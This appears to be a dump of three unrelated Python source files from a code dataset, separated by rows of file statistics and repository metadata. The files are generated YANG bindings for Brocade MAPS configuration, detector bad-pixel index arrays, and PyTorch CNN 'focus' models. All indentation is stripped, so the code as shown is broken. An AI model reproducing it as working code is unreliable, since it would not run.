self.__logicalgroup = YANGDynClass(base=YANGListType("logicalgroupname",logicalgroup.logicalgroup, yang_name="logicalgroup", rest_name="group", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='logicalgroupname', extensions={u'tailf-common': {u'info': u'Configure (logical) group', u'cli-suppress-mode': None, u'cli-full-no': None, u'alt-name': u'group', u'cli-compact-syntax': None, u'cli-sequence-commands': None, u'cli-incomplete-command': None, u'callpoint': u'MapsLogicalgroup'}}), is_container='list', yang_name="logicalgroup", rest_name="group", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure (logical) group', u'cli-suppress-mode': None, u'cli-full-no': None, u'alt-name': u'group', u'cli-compact-syntax': None, u'cli-sequence-commands': None, u'cli-incomplete-command': None, u'callpoint': u'MapsLogicalgroup'}}, namespace='urn:brocade.com:mgmt:brocade-maps', defining_module='brocade-maps', yang_type='list', is_config=True)
self.__email = YANGDynClass(base=email.email, is_container='container', presence=False, yang_name="email", rest_name="email", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'MAPS Email options', u'cli-incomplete-no': None, u'cli-incomplete-command': None}}, namespace='urn:brocade.com:mgmt:brocade-maps', defining_module='brocade-maps', yang_type='container', is_config=True)
load = kwargs.pop("load", None)
if args:
if len(args) > 1:
raise TypeError("cannot create a YANG container with >1 argument")
all_attr = True
for e in self._pyangbind_elements:
if not hasattr(args[0], e):
all_attr = False
break
if not all_attr:
raise ValueError("Supplied object did not have the correct attributes")
for e in self._pyangbind_elements:
nobj = getattr(args[0], e)
if nobj._changed() is False:
continue
setmethod = getattr(self, "_set_%s" % e)
if load is None:
setmethod(getattr(args[0], e))
else:
setmethod(getattr(args[0], e), load=load)
def _path(self):
if hasattr(self, "_parent"):
return self._parent._path()+[self._yang_name]
else:
return [u'rbridge-id', u'maps']
def _rest_path(self):
if hasattr(self, "_parent"):
if self._rest_name:
return self._parent._rest_path()+[self._rest_name]
else:
return self._parent._rest_path()
else:
return [u'rbridge-id', u'maps']
def _get_logicalgroup(self):
"""
Getter method for logicalgroup, mapped from YANG variable /rbridge_id/maps/logicalgroup (list)
"""
return self.__logicalgroup
def _set_logicalgroup(self, v, load=False):
"""
Setter method for logicalgroup, mapped from YANG variable /rbridge_id/maps/logicalgroup (list)
If this variable is read-only (config: false) in the
source YANG file, then _set_logicalgroup is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_logicalgroup() directly.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=YANGListType("logicalgroupname",logicalgroup.logicalgroup, yang_name="logicalgroup", rest_name="group", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='logicalgroupname', extensions={u'tailf-common': {u'info': u'Configure (logical) group', u'cli-suppress-mode': None, u'cli-full-no': None, u'alt-name': u'group', u'cli-compact-syntax': None, u'cli-sequence-commands': None, u'cli-incomplete-command': None, u'callpoint': u'MapsLogicalgroup'}}), is_container='list', yang_name="logicalgroup", rest_name="group", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure (logical) group', u'cli-suppress-mode': None, u'cli-full-no': None, u'alt-name': u'group', u'cli-compact-syntax': None, u'cli-sequence-commands': None, u'cli-incomplete-command': None, u'callpoint': u'MapsLogicalgroup'}}, namespace='urn:brocade.com:mgmt:brocade-maps', defining_module='brocade-maps', yang_type='list', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """logicalgroup must be of a type compatible with list""",
'defined-type': "list",
'generated-type': """YANGDynClass(base=YANGListType("logicalgroupname",logicalgroup.logicalgroup, yang_name="logicalgroup", rest_name="group", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='logicalgroupname', extensions={u'tailf-common': {u'info': u'Configure (logical) group', u'cli-suppress-mode': None, u'cli-full-no': None, u'alt-name': u'group', u'cli-compact-syntax': None, u'cli-sequence-commands': None, u'cli-incomplete-command': None, u'callpoint': u'MapsLogicalgroup'}}), is_container='list', yang_name="logicalgroup", rest_name="group", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure (logical) group', u'cli-suppress-mode': None, u'cli-full-no': None, u'alt-name': u'group', u'cli-compact-syntax': None, u'cli-sequence-commands': None, u'cli-incomplete-command': None, u'callpoint': u'MapsLogicalgroup'}}, namespace='urn:brocade.com:mgmt:brocade-maps', defining_module='brocade-maps', yang_type='list', is_config=True)""",
})
self.__logicalgroup = t
if hasattr(self, '_set'):
self._set()
def _unset_logicalgroup(self):
self.__logicalgroup = YANGDynClass(base=YANGListType("logicalgroupname",logicalgroup.logicalgroup, yang_name="logicalgroup", rest_name="group", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='logicalgroupname', extensions={u'tailf-common': {u'info': u'Configure (logical) group', u'cli-suppress-mode': None, u'cli-full-no': None, u'alt-name': u'group', u'cli-compact-syntax': None, u'cli-sequence-commands': None, u'cli-incomplete-command': None, u'callpoint': u'MapsLogicalgroup'}}), is_container='list', yang_name="logicalgroup", rest_name="group", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure (logical) group', u'cli-suppress-mode': None, u'cli-full-no': None, u'alt-name': u'group', u'cli-compact-syntax': None, u'cli-sequence-commands': None, u'cli-incomplete-command': None, u'callpoint': u'MapsLogicalgroup'}}, namespace='urn:brocade.com:mgmt:brocade-maps', defining_module='brocade-maps', yang_type='list', is_config=True)
def _get_rule(self):
"""
Getter method for rule, mapped from YANG variable /rbridge_id/maps/rule (list)
"""
return self.__rule
def _set_rule(self, v, load=False):
"""
Setter method for rule, mapped from YANG variable /rbridge_id/maps/rule (list)
If this variable is read-only (config: false) in the
source YANG file, then _set_rule is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_rule() directly.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=YANGListType("rulename",rule.rule, yang_name="rule", rest_name="rule", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='rulename', extensions={u'tailf-common': {u'info': u'Configure Rule', u'cli-suppress-mode': None, u'cli-full-no': None, u'cli-compact-syntax': None, u'cli-sequence-commands': None, u'cli-incomplete-command': None, u'callpoint': u'MapsRule'}}), is_container='list', yang_name="rule", rest_name="rule", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure Rule', u'cli-suppress-mode': None, u'cli-full-no': None, u'cli-compact-syntax': None, u'cli-sequence-commands': None, u'cli-incomplete-command': None, u'callpoint': u'MapsRule'}}, namespace='urn:brocade.com:mgmt:brocade-maps', defining_module='brocade-maps', yang_type='list', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """rule must be of a type compatible with list""",
'defined-type': "list",
'generated-type': """YANGDynClass(base=YANGListType("rulename",rule.rule, yang_name="rule", rest_name="rule", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='rulename', extensions={u'tailf-common': {u'info': u'Configure Rule', u'cli-suppress-mode': None, u'cli-full-no': None, u'cli-compact-syntax': None, u'cli-sequence-commands': None, u'cli-incomplete-command': None, u'callpoint': u'MapsRule'}}), is_container='list', yang_name="rule", rest_name="rule", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure Rule', u'cli-suppress-mode': None, u'cli-full-no': None, u'cli-compact-syntax': None, u'cli-sequence-commands': None, u'cli-incomplete-command': None, u'callpoint': u'MapsRule'}}, namespace='urn:brocade.com:mgmt:brocade-maps', defining_module='brocade-maps', yang_type='list', is_config=True)""",
})
self.__rule = t
if hasattr(self, '_set'):
self._set()
def _unset_rule(self):
self.__rule = YANGDynClass(base=YANGListType("rulename",rule.rule, yang_name="rule", rest_name="rule", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='rulename', extensions={u'tailf-common': {u'info': u'Configure Rule', u'cli-suppress-mode': None, u'cli-full-no': None, u'cli-compact-syntax': None, u'cli-sequence-commands': None, u'cli-incomplete-command': None, u'callpoint': u'MapsRule'}}), is_container='list', yang_name="rule", rest_name="rule", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure Rule', u'cli-suppress-mode': None, u'cli-full-no': None, u'cli-compact-syntax': None, u'cli-sequence-commands': None, u'cli-incomplete-command': None, u'callpoint': u'MapsRule'}}, namespace='urn:brocade.com:mgmt:brocade-maps', defining_module='brocade-maps', yang_type='list', is_config=True)
def _get_policy(self):
"""
Getter method for policy, mapped from YANG variable /rbridge_id/maps/policy (list)
"""
return self.__policy
def _set_policy(self, v, load=False):
"""
Setter method for policy, mapped from YANG variable /rbridge_id/maps/policy (list)
If this variable is read-only (config: false) in the
source YANG file, then _set_policy is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_policy() directly.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=YANGListType("policyname",policy.policy, yang_name="policy", rest_name="policy", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='policyname', extensions={u'tailf-common': {u'info': u'Configure Policy', u'callpoint': u'MapsPolicy'}}), is_container='list', yang_name="policy", rest_name="policy", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure Policy', u'callpoint': u'MapsPolicy'}}, namespace='urn:brocade.com:mgmt:brocade-maps', defining_module='brocade-maps', yang_type='list', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """policy must be of a type compatible with list""",
'defined-type': "list",
'generated-type': """YANGDynClass(base=YANGListType("policyname",policy.policy, yang_name="policy", rest_name="policy", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='policyname', extensions={u'tailf-common': {u'info': u'Configure Policy', u'callpoint': u'MapsPolicy'}}), is_container='list', yang_name="policy", rest_name="policy", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure Policy', u'callpoint': u'MapsPolicy'}}, namespace='urn:brocade.com:mgmt:brocade-maps', defining_module='brocade-maps', yang_type='list', is_config=True)""",
})
self.__policy = t
if hasattr(self, '_set'):
self._set()
def _unset_policy(self):
self.__policy = YANGDynClass(base=YANGListType("policyname",policy.policy, yang_name="policy", rest_name="policy", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='policyname', extensions={u'tailf-common': {u'info': u'Configure Policy', u'callpoint': u'MapsPolicy'}}), is_container='list', yang_name="policy", rest_name="policy", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure Policy', u'callpoint': u'MapsPolicy'}}, namespace='urn:brocade.com:mgmt:brocade-maps', defining_module='brocade-maps', yang_type='list', is_config=True)
def _get_enable(self):
"""
Getter method for enable, mapped from YANG variable /rbridge_id/maps/enable (container)
"""
return self.__enable
def _set_enable(self, v, load=False):
"""
Setter method for enable, mapped from YANG variable /rbridge_id/maps/enable (container)
If this variable is read-only (config: false) in the
source YANG file, then _set_enable is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_enable() directly.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=enable.enable, is_container='container', presence=False, yang_name="enable", rest_name="enable", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure MAPS policy/actions', u'callpoint': u'maps_enable_policy_callpoint', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-maps', defining_module='brocade-maps', yang_type='container', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """enable must be of a type compatible with container""",
'defined-type': "container",
'generated-type': """YANGDynClass(base=enable.enable, is_container='container', presence=False, yang_name="enable", rest_name="enable", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure MAPS policy/actions', u'callpoint': u'maps_enable_policy_callpoint', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-maps', defining_module='brocade-maps', yang_type='container', is_config=True)""",
})
self.__enable = t
if hasattr(self, '_set'):
self._set()
def _unset_enable(self):
self.__enable = YANGDynClass(base=enable.enable, is_container='container', presence=False, yang_name="enable", rest_name="enable", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure MAPS policy/actions', u'callpoint': u'maps_enable_policy_callpoint', u'cli-incomplete-no': None}}, namespace='urn:brocade.com:mgmt:brocade-maps', defining_module='brocade-maps', yang_type='container', is_config=True)
def _get_email(self):
"""
Getter method for email, mapped from YANG variable /rbridge_id/maps/email (container)
"""
return self.__email
def _set_email(self, v, load=False):
"""
Setter method for email, mapped from YANG variable /rbridge_id/maps/email (container)
If this variable is read-only (config: false) in the
source YANG file, then _set_email is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_email() directly.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=email.email, is_container='container', presence=False, yang_name="email", rest_name="email", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'MAPS Email options', u'cli-incomplete-no': None, u'cli-incomplete-command': None}}, namespace='urn:brocade.com:mgmt:brocade-maps', defining_module='brocade-maps', yang_type='container', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """email must be of a type compatible with container""",
'defined-type': "container",
'generated-type': """YANGDynClass(base=email.email, is_container='container', presence=False, yang_name="email", rest_name="email", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'MAPS Email options', u'cli-incomplete-no': None, u'cli-incomplete-command': None}}, namespace='urn:brocade.com:mgmt:brocade-maps', defining_module='brocade-maps', yang_type='container', is_config=True)""",
})
self.__email = t
if hasattr(self, '_set'):
self._set()
def _unset_email(self):
self.__email = YANGDynClass(base=email.email, is_container='container', presence=False, yang_name="email", rest_name="email", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'MAPS Email options', u'cli-incomplete-no': None, u'cli-incomplete-command': None}}, namespace='urn:brocade.com:mgmt:brocade-maps', defining_module='brocade-maps', yang_type='container', is_config=True)
def _get_relay(self):
"""
Getter method for relay, mapped from YANG variable /rbridge_id/maps/relay (list)
"""
return self.__relay
def _set_relay(self, v, load=False):
"""
Setter method for relay, mapped from YANG variable /rbridge_id/maps/relay (list)
If this variable is read-only (config: false) in the
source YANG file, then _set_relay is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_relay() directly.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=YANGListType("hostip",relay.relay, yang_name="relay", rest_name="relay", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='hostip', extensions={u'tailf-common': {u'info': u'Configure relay ip mail settings', u'cli-suppress-mode': None, u'cli-suppress-list-no': None, u'cli-full-no': None, u'cli-suppress-key-abbreviation': None, u'callpoint': u'maps_relay_callpoint'}}), is_container='list', yang_name="relay", rest_name="relay", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure relay ip mail settings', u'cli-suppress-mode': None, u'cli-suppress-list-no': None, u'cli-full-no': None, u'cli-suppress-key-abbreviation': None, u'callpoint': u'maps_relay_callpoint'}}, namespace='urn:brocade.com:mgmt:brocade-maps', defining_module='brocade-maps', yang_type='list', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """relay must be of a type compatible with list""",
'defined-type': "list",
'generated-type': """YANGDynClass(base=YANGListType("hostip",relay.relay, yang_name="relay", rest_name="relay", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='hostip', extensions={u'tailf-common': {u'info': u'Configure relay ip mail settings', u'cli-suppress-mode': None, u'cli-suppress-list-no': None, u'cli-full-no': None, u'cli-suppress-key-abbreviation': None, u'callpoint': u'maps_relay_callpoint'}}), is_container='list', yang_name="relay", rest_name="relay", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure relay ip mail settings', u'cli-suppress-mode': None, u'cli-suppress-list-no': None, u'cli-full-no': None, u'cli-suppress-key-abbreviation': None, u'callpoint': u'maps_relay_callpoint'}}, namespace='urn:brocade.com:mgmt:brocade-maps', defining_module='brocade-maps', yang_type='list', is_config=True)""",
})
self.__relay = t
if hasattr(self, '_set'):
self._set()
def _unset_relay(self):
self.__relay = YANGDynClass(base=YANGListType("hostip",relay.relay, yang_name="relay", rest_name="relay", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='hostip', extensions={u'tailf-common': {u'info': u'Configure relay ip mail settings', u'cli-suppress-mode': None, u'cli-suppress-list-no': None, u'cli-full-no': None, u'cli-suppress-key-abbreviation': None, u'callpoint': u'maps_relay_callpoint'}}), is_container='list', yang_name="relay", rest_name="relay", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Configure relay ip mail settings', u'cli-suppress-mode': None, u'cli-suppress-list-no': None, u'cli-full-no': None, u'cli-suppress-key-abbreviation': None, u'callpoint': u'maps_relay_callpoint'}}, namespace='urn:brocade.com:mgmt:brocade-maps', defining_module='brocade-maps', yang_type='list', is_config=True)
logicalgroup = __builtin__.property(_get_logicalgroup, _set_logicalgroup)
rule = __builtin__.property(_get_rule, _set_rule)
policy = __builtin__.property(_get_policy, _set_policy)
enable = __builtin__.property(_get_enable, _set_enable)
email = __builtin__.property(_get_email, _set_email)
relay = __builtin__.property(_get_relay, _set_relay)
_pyangbind_elements = {'logicalgroup': logicalgroup, 'rule': rule, 'policy': policy, 'enable': enable, 'email': email, 'relay': relay, }
| 90.105263 | 1,091 | 0.729447 | 3,870 | 27,392 | 4.977519 | 0.051163 | 0.025749 | 0.034886 | 0.037377 | 0.879406 | 0.866116 | 0.86051 | 0.85428 | 0.851373 | 0.841406 | 0 | 0.000248 | 0.116019 | 27,392 | 303 | 1,092 | 90.40264 | 0.795284 | 0.095028 | 0 | 0.453608 | 0 | 0.030928 | 0.436796 | 0.158868 | 0 | 0 | 0 | 0 | 0 | 1 | 0.108247 | false | 0 | 0.072165 | 0 | 0.298969 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
73753d81513c855738837750580f91ea4b3e5902 | 3,219 | py | Python | pyCHX/v2/_futurepyCHX/Badpixels.py | NSLS-II/pyCHX | e82e343903e477c4359b03c4d079eb1e5202c25f | [
"BSD-3-Clause"
] | 2 | 2021-07-21T02:07:11.000Z | 2022-02-18T02:57:49.000Z | pyCHX/v2/_futurepyCHX/Badpixels.py | NSLS-II/pyCHX | e82e343903e477c4359b03c4d079eb1e5202c25f | [
"BSD-3-Clause"
] | 5 | 2021-06-16T20:31:45.000Z | 2022-02-04T21:24:45.000Z | pyCHX/v2/_futurepyCHX/Badpixels.py | NSLS-II/pyCHX | e82e343903e477c4359b03c4d079eb1e5202c25f | [
"BSD-3-Clause"
] | 2 | 2022-02-04T21:51:28.000Z | 2022-03-22T04:11:19.000Z | """Dev@Octo12,2017"""
import numpy as np
damaged_4Mpixel = np.array(
[
[1157, 2167 - 1231],
[1158, 2167 - 1231],
[1159, 2167 - 1231],
[1160, 2167 - 1231],
[1157, 2167 - 1230],
[1158, 2167 - 1230],
[1159, 2167 - 1230],
[1160, 2167 - 1230],
[1161, 2167 - 1230],
[1157, 2167 - 1229],
[1158, 2167 - 1229],
[1159, 2167 - 1229],
[1160, 2167 - 1229],
[1159, 2167 - 1228],
[1160, 2167 - 1228],
[1159, 2167 - 1227],
[1160, 2167 - 1227],
[1159, 2167 - 1226],
]
)
# March 1, 2018
# uid = '92394a'
bad_pixel_4M = {
"92394a": np.array(
[
828861,
882769,
915813,
928030,
959317,
959318,
992598,
992599,
998768,
1009202,
1036105,
1143261,
1149650,
1259208,
1321301,
1426856,
1426857,
1586163,
1774616,
1936607,
1936609,
1936610,
1938677,
1938678,
1938681,
1940747,
1946959,
1955276,
2105743,
2105744,
2107813,
2107815,
2109883,
2118276,
2118277,
2149798,
2194925,
2283956,
2284016,
2284225,
2284388,
2290249,
2292593,
2298770,
2304729,
2317145,
2344268,
2346156,
2356554,
2360827,
2364960,
2408361,
2453913,
2470447,
2476691,
3462303,
4155535,
]
), # 57 points, coralpor
"6cc34a": np.array(
[1058942, 2105743, 2105744, 2107813, 2107815, 2109883, 4155535]
), # coralpor
}
## Create during 2018 Cycle 1
BadPix_4M = np.array(
[
828861,
882769,
915813,
928030,
959317,
959318,
992598,
992599,
998768,
1009202,
1036105,
1143261,
1149650,
1259208,
1321301,
1426856,
1426857,
1586163,
1774616,
1936607,
1936609,
1936610,
1938677,
1938678,
1938681,
1940747,
1946959,
1955276,
2105743,
2105744,
2107813,
2107815,
2109883,
2118276,
2118277,
2149798,
2194925,
2283956,
2284016,
2284225,
2284388,
2290249,
2292593,
2298770,
2304729,
2317145,
2344268,
2346156,
2356554,
2360827,
2364960,
2408361,
2453913,
2470447,
2476691,
3462303,
4155535,
1058942,
2105743,
2105744,
2107813,
2107815,
2109883,
4155535,
2107814,
3462303,
]
)
| 19.047337 | 71 | 0.396707 | 222 | 3,219 | 5.734234 | 0.436937 | 0.037706 | 0.065986 | 0.087981 | 0.700707 | 0.700707 | 0.700707 | 0.623723 | 0.623723 | 0.623723 | 0 | 0.737726 | 0.519105 | 3,219 | 168 | 72 | 19.160714 | 0.084625 | 0.031687 | 0 | 0.773585 | 0 | 0 | 0.003863 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.006289 | 0 | 0.006289 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
73b0d45dfef30d5094f6080613673ff87487a344 | 13,695 | py | Python | model/Models.py | lnpandey/DL_explore_synth_data | 0a5d8b417091897f4c7f358377d5198a155f3f24 | [
"MIT"
] | 2 | 2019-08-24T07:20:35.000Z | 2020-03-27T08:16:59.000Z | model/Models.py | lnpandey/DL_explore_synth_data | 0a5d8b417091897f4c7f358377d5198a155f3f24 | [
"MIT"
] | null | null | null | model/Models.py | lnpandey/DL_explore_synth_data | 0a5d8b417091897f4c7f358377d5198a155f3f24 | [
"MIT"
] | 3 | 2019-06-21T09:34:32.000Z | 2019-09-19T10:43:07.000Z | import numpy as np
import torch.nn as nn
import torch.optim as optim
import torch
import torchvision
import torch.nn.functional as F
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
print(device)
class Module1(nn.Module):
'''
returns last layer output
Input : 32X32X3 image
Convolutional Network with 4 Conv layers
'''
def __init__(self,inp,out):
super(Module1,self).__init__()
self.inputs = inp
self.output = out
self.conv1 = nn.Conv2d(self.inputs, 6, 5)
self.pool = nn.MaxPool2d(2, 2)
self.conv2 = nn.Conv2d(6, 12, 5)
self.conv3 = nn.Conv2d(12,20,5)
self.fc1 = nn.Linear(20 * 6 * 6, 120)
self.fc2 = nn.Linear(120, 84)
self.fc3 = nn.Linear(84, 10)
self.fc4 = nn.Linear(10,self.output)
def forward(self,x):
x = self.pool(F.relu(self.conv1(x)))
x = F.relu(self.conv2(x))
x = F.relu(self.conv3(x))
#print(x.shape)
x = x.view(-1, 20* 6 * 6)
x = F.relu(self.fc1(x))
x = F.relu(self.fc2(x))
x = F.relu(self.fc3(x))
x = self.fc4(x)
return x
class Module2(nn.Module):
'''
return last layer output, 3rd convolution layer output
Input : 32X32X3 image
Output : x: last layer output, x1: 3rd convolution layer output
Convolutional Network with 4 Conv layers
'''
def __init__(self,inp,out):
super(Module2,self).__init__()
self.inputs = inp
self.output = out
self.conv1 = nn.Conv2d(self.inputs, 6, 5)
self.pool = nn.MaxPool2d(2, 2)
self.conv2 = nn.Conv2d(6, 12, 5)
self.conv3 = nn.Conv2d(12,20,5)
self.fc1 = nn.Linear(20 * 6 * 6, 120)
self.fc2 = nn.Linear(120, 84)
self.fc3 = nn.Linear(84, 10)
self.fc4 = nn.Linear(10,self.output)
def forward(self,x):
x = self.pool(F.relu(self.conv1(x)))
x = F.relu(self.conv2(x))
x = self.conv3(x)
#print(x.shape)
x1 = F.tanh(x)
x = F.relu(x)
x = x.view(-1, 20* 6 * 6)
x = F.relu(self.fc1(x))
x = F.relu(self.fc2(x))
x = F.relu(self.fc3(x))
x = self.fc4(x)
return x,x1
class Module3(nn.Module):
'''
return last layer output, 2nd convolution layer output
Input : 32X32X3 image
Output : x: last layer output, x1: second convolution layer output
'''
def __init__(self,inp,out):
super(Module3,self).__init__()
self.inputs = inp
self.output = out
self.conv1 = nn.Conv2d(self.inputs, 6, 5)
self.pool = nn.MaxPool2d(2, 2)
self.conv2 = nn.Conv2d(6, 12, 5)
self.conv3 = nn.Conv2d(12,20,5)
self.fc1 = nn.Linear(20 * 6 * 6, 120)
self.fc2 = nn.Linear(120, 84)
self.fc3 = nn.Linear(84, 10)
self.fc4 = nn.Linear(10,self.output)
def forward(self,x):
x = self.pool(F.relu(self.conv1(x)))
x = self.conv2(x)
x1 = F.tanh(x)
x = F.relu(x)
x = F.relu(self.conv3(x))
#print("Flag1",x1.shape)
x = x.view(-1, 20* 6 * 6)
x = F.relu(self.fc1(x))
x = F.relu(self.fc2(x))
x = F.relu(self.fc3(x))
x = self.fc4(x)
return x,x1
class Module4(nn.Module):
'''
return last layer output, first convolution layer output
Input : 32X32X3 image
Output : x: last layer output, x1: first convolution layer output
'''
def __init__(self,inp,out):
super(Module4,self).__init__()
self.inputs = inp
self.output = out
self.conv1 = nn.Conv2d(self.inputs, 6, 5)
self.pool = nn.MaxPool2d(2, 2)
self.conv2 = nn.Conv2d(6, 12, 5)
self.conv3 = nn.Conv2d(12,20,5)
self.fc1 = nn.Linear(20 * 6 * 6, 120)
self.fc2 = nn.Linear(120, 84)
self.fc3 = nn.Linear(84, 10)
self.fc4 = nn.Linear(10,self.output)
def forward(self,x):
x = self.conv1(x)
x1 = F.tanh(x)
x = self.pool(F.relu(x))
x = F.relu(self.conv2(x))
x = F.relu(self.conv3(x))
#print("Flag1",x1.shape)
x = x.view(-1, 20* 6 * 6)
x = F.relu(self.fc1(x))
x = F.relu(self.fc2(x))
x = F.relu(self.fc3(x))
x = self.fc4(x)
return x,x1
class Module5(nn.Module):
'''
return last layer output
Input : 32X32X3 image
Convolutional Network with 2 Conv layers
Output: returns last layer output
'''
def __init__(self,inp,out):
super(Module5,self).__init__()
self.inputs = inp
self.output = out
self.conv1 = nn.Conv2d(self.inputs, 6, 5)
self.pool = nn.MaxPool2d(2, 2)
self.conv2 = nn.Conv2d(6, 16, 5)
self.fc1 = nn.Linear(16 * 5 * 5, 120)
self.fc2 = nn.Linear(120, 84)
self.fc3 = nn.Linear(84, 10)
self.fc4 = nn.Linear(10,self.output)
def forward(self,x):
x = self.pool(F.relu(self.conv1(x)))
x = self.pool(F.relu(self.conv2(x)))
x = x.view(-1, 16 * 5 * 5)
x = F.relu(self.fc1(x))
x = F.relu(self.fc2(x))
x = F.relu(self.fc3(x))
x = self.fc4(x)
return x
class Focus_Module(nn.Module):
'''
Focus Network uses Module 1 averages at zeroth layer
'''
def __init__(self,inp,out):
super(Focus_Module, self).__init__()
self.inputs = inp
self.output = out
self.module1 = Module1(self.inputs,self.output)
def forward(self, z):
#print(z.shape)
#print()
batch = z.shape[0]
x = torch.zeros([batch,9],dtype=torch.float64)
y = torch.zeros([batch,self.inputs, 32,32], dtype=torch.float64)
x,y = x.to(device),y.to(device)
for i in range(9):
x[:,i] = self.helper(z[:,i])[:,0]
x = F.softmax(x,dim=1) # alphas
#x1 = x[:,0]
#torch.mul(x1[:,None,None,None],z[:,0])
for i in range(9):
x1 = x[:,i]
y = y + torch.mul(x1[:,None,None,None],z[:,i])
return y , x
def helper(self,x):
x = self.module1(x)
#print(x.shape)
return x
class Focus_Module2(nn.Module):
'''
Focus Network uses Module 2 averages at 3rd conv layer
'''
def __init__(self,inp,out):
super(Focus_Module2, self).__init__()
self.inputs = inp
self.output = out
self.module = Module2(self.inputs,self.output)
def forward(self, z):
#print("flag1",z.shape)
#print("flag2",z[:,0].shape)
batch = z.shape[0]
x = torch.zeros([batch,9],dtype=torch.float64)
y = torch.zeros([batch,20, 6,6], dtype=torch.float64)
feature = torch.zeros([batch,9,20,6,6],dtype=torch.float64)
x,y = x.to(device),y.to(device)
feature = feature.to(device)
for i in range(9):
alp,ftr= self.helper(z[:,i])
#print("flag3",ftr.shape)
x[:,i] = alp[:,0]
feature[:,i] = ftr
x = F.softmax(x,dim=1) # alphas
#x1 = x[:,0]
#torch.mul(x1[:,None,None,None],z[:,0])
for i in range(9):
x1 = x[:,i]
y = y + torch.mul(x1[:,None,None,None],feature[:,i])
return y , x
def helper(self,x):
x,features = self.module(x)
#print(x.shape)
return x,features
